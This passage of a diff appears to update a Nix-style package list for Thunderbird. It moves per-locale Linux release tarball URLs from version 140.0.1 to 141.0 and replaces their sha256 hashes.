-      sha256 = "641497c3d0254db53cf139b9809aa034da1949593a7ade3dc5b55702d5d493d5";
+      sha256 = "1d65f8e68d077991ef767aea301cd314e730b58f365ed4524e787d5d23e729ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/pl/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/pl/thunderbird-141.0.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "b14097757c38ec6fce9eab5f1a3abec6c10bdd17cadd2108824436320e995631";
+      sha256 = "7f2583df51e7cb6a799475d96b0a82ab336a92758fbd8ff33742b92eae171614";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/pt-BR/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/pt-BR/thunderbird-141.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "506e7df49d5f60f0a3fd0704d79a9f51d8b1f488c22c1d20da0309904cae4f3a";
+      sha256 = "4883c44d4687b3ad1e8df66eab25649136d6f91ba4ab6d0a5ee1bf9c4c7c7a7a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/pt-PT/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/pt-PT/thunderbird-141.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "1f9f24983dfd1ee788a499a4a77957e8d36983ab6e46335507a460014eeb72b3";
+      sha256 = "b92df862f1f24abe469d5cc3f8c7704410132e3f25b7daef77857daefdddf9ba";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/rm/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/rm/thunderbird-141.0.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "9700211627a83f03f3cab7f8369bc8ba403902f4a55314dd1e4322f4a1683dd1";
+      sha256 = "4f556836064f9e5b8eff914c8d8572b1daaa9953baa8804680add31fcc237e47";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ro/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ro/thunderbird-141.0.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "4cb8d28246d5885c5712d3b14791956be97b11fcd17d64ec065ce7566c948a47";
+      sha256 = "1de4b62551f3b1530da6f2baf44bea383dea33105ce2c0c8daa71323f72b4357";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/ru/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/ru/thunderbird-141.0.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "e34ea642a23a33e580132dbd024b247a44bbddbf4f6e5253a33af2f9ad36c2d1";
+      sha256 = "e5451585cfe66fa4d43ce66e18d654cdeefb315095c572c091b7c5645c4e35e0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sk/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sk/thunderbird-141.0.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "3604a776b155d80edd5c4e942ca12e23bb83651234c876c13390c9feaa2480e7";
+      sha256 = "8c268e9915fd986fc27bc92eb2713d9a35b1cc3db8d22c1824133651c7b291fe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sl/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sl/thunderbird-141.0.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "08d470138adaeda70976c6706aaaa4754ec32f69a5044fe7a04cb007d78339eb";
+      sha256 = "31a8e92ec301d3f2d7d2ac02be2d8b0fc234dab2bd57fdb9d329d2cdedae9ef4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sq/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sq/thunderbird-141.0.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "ff58223773437244fcd615b127c03d8c30e9dc020ee9e529bdc5a7643d37656c";
+      sha256 = "ae6f4fd26beb85747290fbbbba101c4e11b458b6ed41717ca940eee0d6d61936";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sr/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sr/thunderbird-141.0.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "7c4170db6314b40941e7cf0a1492c275c73dda8099586284e095377fb2b710bb";
+      sha256 = "0990c2494451f1ae4e4880bc52b716829ba94126a90dc2ad88baeb48c89fa922";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/sv-SE/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/sv-SE/thunderbird-141.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "ed50fef91c4c436beac8fd234a60e348fed00759b8782e1dacb0564e40a097a1";
+      sha256 = "c64c573a8970a98e6b2a8f1849700a45ea177de9c0bb57fda192bd72217ea340";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/th/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/th/thunderbird-141.0.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "9858128f20706d9d420b66e180c5e7d48296604aa9c346450dbc1c22fc445be6";
+      sha256 = "0d22da6a81b939cdf92c82b44c9bcbb4beb01f9543b0a9bb5ee81f6c3452ff64";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/tr/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/tr/thunderbird-141.0.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "bd88192e0eaffd644257a34380d0e923a0222c0e4043af152c7f0024d7e6d62e";
+      sha256 = "bef86e532b9fb09848183034eafaa08b6349a1eaf589124dd9d5dbcc0be458b0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/uk/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/uk/thunderbird-141.0.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "507813117cf298e6540dde0c60be3448e3140b8dfd08b224ecb714757c01e877";
+      sha256 = "3363d6ba532843d48e9c26316018bb823cf22aad130481f4ba74f38647173685";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/uz/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/uz/thunderbird-141.0.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "b4beb6fcd4e509e16a27991375c5e33aee194767f6cf5908912a2f197ca146f8";
+      sha256 = "3663ec3a5678512f98759b7a3ba4dab507f64ff2ebe87594477cb201d67c744f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/vi/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/vi/thunderbird-141.0.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "b44a1b5b38cfffc9598b20dc88aae6e558181a78ee718eeeaa8dfc1aadb6aedc";
+      sha256 = "8000fd383af142c427321ec4d97b075101161fd1a9edad646a690d4f82ad159d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/zh-CN/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/zh-CN/thunderbird-141.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "43f229fcf6caed6433b94e6096f96c4dbfd99ec108057d41ebbad132284c291e";
+      sha256 = "d5264bf3ebce9f4e587116e20f4f2f1ef296da16aa75c813096b0873cffb55b0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-x86_64/zh-TW/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-x86_64/zh-TW/thunderbird-141.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "5df482a93f1fcf22a2bc5608f7967b1f520887b64909af28c19f13489e849dd2";
+      sha256 = "32703742ed8d6f48a805ce94a0f8da4a1d26398a84b3cae956f78d08bf557e0c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/af/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/af/thunderbird-141.0.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "4820ec73ac8ecf5819e0cc8c9f84825a995836d3d3707cc24835e21969554823";
+      sha256 = "21617d50e6e6af5126392f9f26a639697e1728238e2183d41babd95aa9705a71";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ar/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ar/thunderbird-141.0.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "ad1d5f4b5013d8e7bdd8516a1b25c686a3f71fdf8ec55a7394f048436c5c6b4c";
+      sha256 = "1fba0dd1249e5517486500e0cf09ece01946ea59a2c68a713ce4e7e2f33bdaaa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ast/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ast/thunderbird-141.0.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "48e41656059d76d401046e46469df9546373a61cd991aa7c26f22e54f7080396";
+      sha256 = "9802ca51c834621167e977076d880ede40ed077a1de45b6b0594f667f9cda60d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/be/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/be/thunderbird-141.0.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "d4f2feffa4ddeb6de4c59e7694242586a9608a2176c4589dd8594055835fd968";
+      sha256 = "efb049dd180e5a93da077554d29ed5bc6a14b2cd4638fd3d447ef036c0f3b6fd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/bg/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/bg/thunderbird-141.0.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "e581ef479a4cecb4e2280a272f4779255b6515c6e8235295977e281f9f805f39";
+      sha256 = "183334edac2cde1ff6ce76579200acf521b053f2b8da6f4a522122e3dd60f7bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/br/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/br/thunderbird-141.0.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "d2155610d0d385b723f44f12d4525617e50ad607d327465938bf2f6ef93cad1e";
+      sha256 = "67471a0fd6e89fb209914da4b403d6d7f2a5dfd41fb5ef9571a03338153cb25a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ca/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ca/thunderbird-141.0.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "0a75c9e5b7174567cf39f7aa7528eed9f3f962f3546b53c307409e4d18da7851";
+      sha256 = "67259da0f6df52767f34c8243a8a4e56ed3208db5a378d76c551a5b61874522f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/cak/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/cak/thunderbird-141.0.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "9fd908a39bb69c0c4cb9d8c50393600ed45598a635675e72cf663f2bae19d8a2";
+      sha256 = "33fa9550865a1dfc6963cfe15dcea85388b4c4bb67301e366ac8306b97420090";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/cs/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/cs/thunderbird-141.0.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "377d91c1d2d3d9d4b204c7519f8525e6689288325dc06b40844f17dc210bdb22";
+      sha256 = "d60350104021df12d813c0007431053f0d68ecaaf177d2f42e00340b079bc604";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/cy/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/cy/thunderbird-141.0.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "c43511a8179ab380f60afe592645dae7ce6b60944c6ef4c3ecbd529dbd962373";
+      sha256 = "c86e1fd052d4d256b67d30cd2e6f0c2e14a60e84c5669bee1602c02b598cbd0a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/da/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/da/thunderbird-141.0.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "19524c477246ed80bd1197e249ca34c0c03a5e33f738a5d305909b3e02110c93";
+      sha256 = "5cdf12d7ed7660c40977c7e8643b63bc4f85a22892f3a7c3ae5514d665e04d5a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/de/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/de/thunderbird-141.0.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "80cf303e53feb7d20a599a45d348cccc6a1c485740fd2a7341bbff8545ce52d0";
+      sha256 = "092f158999a774e0fea988765f6499d71fedc6bbd0cfe5d5ca4d7c65e904704c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/dsb/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/dsb/thunderbird-141.0.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "e219aa440fdd36efe17c5a7fd3601963cbd78b1ff4f6f22c7e35ffda340f5fb3";
+      sha256 = "ea6d93d1a72c5e18c327e3483845f40153e075835756e376594fedb60ed7c764";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/el/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/el/thunderbird-141.0.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "cd0da4150cb097f1be0f1f147d5dadfd4eabff0aa002126ed758ae79570be542";
+      sha256 = "e9871e4d548d6bfd39788dc068d7c42c1fccd72479d879334b718251ae43c1f1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/en-CA/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/en-CA/thunderbird-141.0.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "6f534ea4f43229f638e3d44133482f52381ed887e5bbe49a340172efcf37cb44";
+      sha256 = "abcaab4b2f7976a8be35372ba18d9afee272602c8109f036d4a809d87c653a80";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/en-GB/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/en-GB/thunderbird-141.0.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "5121d7102021de8aa1e22415cb9fed87140a1c91f7cc1c58ca96ddd5db02fa50";
+      sha256 = "769fa9d8f8747ca579a0636187684573ba23011ea96e97879437f09b4b53b5c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/en-US/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/en-US/thunderbird-141.0.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "df5eb3f9483977dec3352f99a9eb7a81d4a1e6d474f468910098414138f56894";
+      sha256 = "0cf4ab947913d9ad12be79a95d0c59a79d423e57fd280ced3b6c48a9eb7651d0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/es-AR/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/es-AR/thunderbird-141.0.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "ea62dccc0b48573c05b7b8fc8d6fe0cc3a6bc4254cb18930fcf4e16c2bd0789f";
+      sha256 = "f43e5e7987070f65e3d5f0078af3561993e8113c3412609ab2f07dfee2a87663";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/es-ES/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/es-ES/thunderbird-141.0.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "109c02dc09b3718e72897b2b0125ec5b217577dd628246936632ad54817362bf";
+      sha256 = "d37b0103365429ce88f5b2374112b565a27bcbdc5fd3d0170253415540b15afa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/es-MX/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/es-MX/thunderbird-141.0.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "f2396788af93f7251856d8d4d45069c547da7bb3a2b799e392d302246bcaea38";
+      sha256 = "cfc7056d0680d00bd557a11d691f161b275cea391831640863def54c42558abb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/et/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/et/thunderbird-141.0.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "da55968e424ccbc7ef85ad1a8d7a1976d0470a8942f70976e06857fba6bcf804";
+      sha256 = "0decb7ad2ef248825f5a6f5aa963f8e1e0e729e17a8af19fa305b73ce86c4e4c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/eu/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/eu/thunderbird-141.0.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "c0a00c1df436b67e1f20a42ae2ed30b2936068fdc77425675107233abf2244d8";
+      sha256 = "a89d54b323f28640ff2e5d9e6662e36997c3893a8d253d68faa6a20b9dbbe3d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/fi/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/fi/thunderbird-141.0.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "6391f40af1c85107902768210138b7077033f7e8735de25617a8c93b272e9521";
+      sha256 = "ed600927b528b2cf66221d61d9e85df403636ed777f3e908cce5c379f7ba961b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/fr/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/fr/thunderbird-141.0.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "3d2f032bcdf22a5470e78b63430bdccfaa0fc85914049db98cbe503a58f0b74f";
+      sha256 = "4b772ba4360fb7121c7cd9919205733f0f1757861ac8ac2885fd8233b12a7f17";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/fy-NL/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/fy-NL/thunderbird-141.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "6b77fe61fa46301196e3093531e0338c5bd21f18d4d01207a163b4288415e426";
+      sha256 = "42fcad05bed4ff5b98a808dea5df8e8b2341ef73cff48df18c6fee7577a331d9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ga-IE/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ga-IE/thunderbird-141.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "d8875e7442cefb65ffa1c066b36d9bc40e1c882ff9da79a9812278371f3b5fe7";
+      sha256 = "dccec52dcfa6c8b7f82a8319d1487e42320b5d8791f87d4128f617165f2583f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/gd/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/gd/thunderbird-141.0.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "027775f0b81f963d3d6eb2be2c99ac1d2cae0e32fd69ce94774f9b5802daf11c";
+      sha256 = "dc8245299c8e8824486531fb75fb2a6967a7d0ed5ad182295eee87a00fc840ef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/gl/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/gl/thunderbird-141.0.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "04249193f08caa84b3d395c77728f877914a6be1ea7fcd2bf0e38e6e1602a11c";
+      sha256 = "5d39a48dc096b7f10c29ec701199493f2d404e840ed6fac295b3a697048f9cd2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/he/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/he/thunderbird-141.0.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "c81fa6c7a9311d165829a5d6e07861a35ee964c014f31ad5baafd7b15a748959";
+      sha256 = "42038d36f46a6d9eaf270363e7e9c9aa1585944b7c96ef46bfe7f4f8bdd519eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/hr/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/hr/thunderbird-141.0.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "70a6b576d98506547ecfa655a0d51147af5ee87c4e21ebd2fa2dd9622d1d91c3";
+      sha256 = "33534695537b19839df43931238903a8f37cd771167411aadc4aa29919e67cc7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/hsb/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/hsb/thunderbird-141.0.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "e7a3ff1ba8648dd1558bf960901eed788dbc79f411c72f92ce18da3ca4d2cb51";
+      sha256 = "d77e2ac787cdf5dcecb3c7309bdf00fd30e22c23c0314814c56f2dbf6df14f8f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/hu/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/hu/thunderbird-141.0.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "7f1f3dc52475584434c715dd1cd15db350730773d797ec13c9ca1aa0612f6971";
+      sha256 = "6c08eb0640e47164d3c7f20ef1b6e29c6a6b2c40ec220f015afdc73da8b40670";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/hy-AM/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/hy-AM/thunderbird-141.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "008bcde4bb1736ad1d4cb376dc54d217a5aa4d330a207151e3883a3addf212b5";
+      sha256 = "9f78144eef1482fdb8e921087f65de39d9f3c31e185939f5ee084945439d565a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/id/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/id/thunderbird-141.0.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "2a4c0800eb8e3dec58b3506a49100e736809900bcc580b20bec02100390ac02e";
+      sha256 = "0191e770a3c2717f0ea1239ef14b6d8c347f8a66a068f9ef26b3646423bbd036";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/is/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/is/thunderbird-141.0.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "f4215f23dda9c4a0434a654dc6d438b22681a696bd2de6e8d41ab1c1bff2a90f";
+      sha256 = "4eddf2d7cdd7d1a851fb2acb231aafc0840d8bc18989a545d0909512285a6df4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/it/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/it/thunderbird-141.0.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "ba81b352da4bd3ebf8edae698718d58441fae797393bd5c1d28357eec4b97162";
+      sha256 = "d660d9c7ab79c5012e5aa4cab0d71d1f0bcaf9f82f2ce0c3acabd5fb028ea75c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ja/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ja/thunderbird-141.0.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "66d7b01d8493d00b87d75c3a2b807b2423ca39f4cb1f35ee676504e0b5b59e03";
+      sha256 = "4e721ed8e738172868f04f7dea80970b1ad736a347b4eca53ee1313e4229d1f2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ka/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/ka/thunderbird-141.0.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "c0b0d92ea8ac93f6a2447b979e1c5f0bac5675a6a9e32e1b3d9eed2cce9cd803";
+      sha256 = "ea509083f195f7445ee4000f40f536d13d78b49e137e7505b0a17d7b8a5a4bf0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/kab/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/kab/thunderbird-141.0.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "fcb23f2ca4610a38b60301e6f27e068df4d40c9e6dddf4ae21060048b2c7f3ca";
+      sha256 = "3b5c98f3ee02c783a225877adccfa48bb1b8bc43f09daea2f9d698ccb6622537";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/kk/thunderbird-140.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/141.0/linux-i686/kk/thunderbird-141.0.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "717ecf5f52cbac43a336d1126b59b3135a842216e62c057c94ff4751e969d36f";
+      sha256 = "65d68cc95e32662777ef78a95877b2ba13e14e2b3825d1759be784e48d1719bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ko/thunderbird-140.0.1.tar.xz";
